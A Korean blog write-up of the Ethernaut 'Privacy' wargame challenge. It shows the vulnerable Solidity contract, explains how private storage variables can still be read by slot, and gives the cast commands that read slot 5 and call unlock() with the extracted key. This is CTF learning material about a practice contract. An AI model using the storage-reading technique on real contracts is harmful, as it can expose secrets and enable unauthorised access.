[ethernaut] Privacy

wooz3k.eth·2022년 12월 29일
0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(block.timestamp);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

이 문제는 unlock(bytes16) 을 호출하여 require(_key == bytes16(data[2]))를 통과하고 locked=false 를 실행시키면 된다. 그러기 위해서는 private로 저장된 data를 알아내야 한다.

private로 선언된 변수더라도 storage에 저장되는데 이는 어느 누구나 조회가 가능하다. storage는 슬롯이라는 단위로 2^256개 만큼 존재하고 한 슬롯당 256비트까지 저장할 수 있다. 이 문제에서는 storage에 저장되는 변수들이 많이 존재하는데 bool은 슬롯 1개를 차지, uint256도 슬롯 1개를 차지, uint8, uint16은 슬롯 1개씩 차지를 하는게 아니라 합쳐서 저장을하게 된다. 그 이후에 bytes32 array는 슬롯 1개씩 3개를 차지하게 된다. 결론적으로 말하면 data[2]는 슬롯 5번에 저장될 것이다.

❯ cast storage --rpc-url $G_RPC 0x393d6BF308eA48B7DB06591909E3514989703152 5
0xeb9afaa2aea592bbd55ed2660842e7adee7d22c7c54a9d37fbd820174c5af235

문제에서는 bytes16(data[2]) 를 구해야하기 때문에 앞에 절반을 인자로 보내면 문제가 풀린다.

cast send --rpc-url $G_RPC --private-key $P_KEY 0x393d6BF308eA48B7DB06591909E3514989703152 "unlock(bytes16)" 0xeb9afaa2aea592bbd55ed2660842e7ad
profile
Theori ChainLight Web3 Researcher

0개의 댓글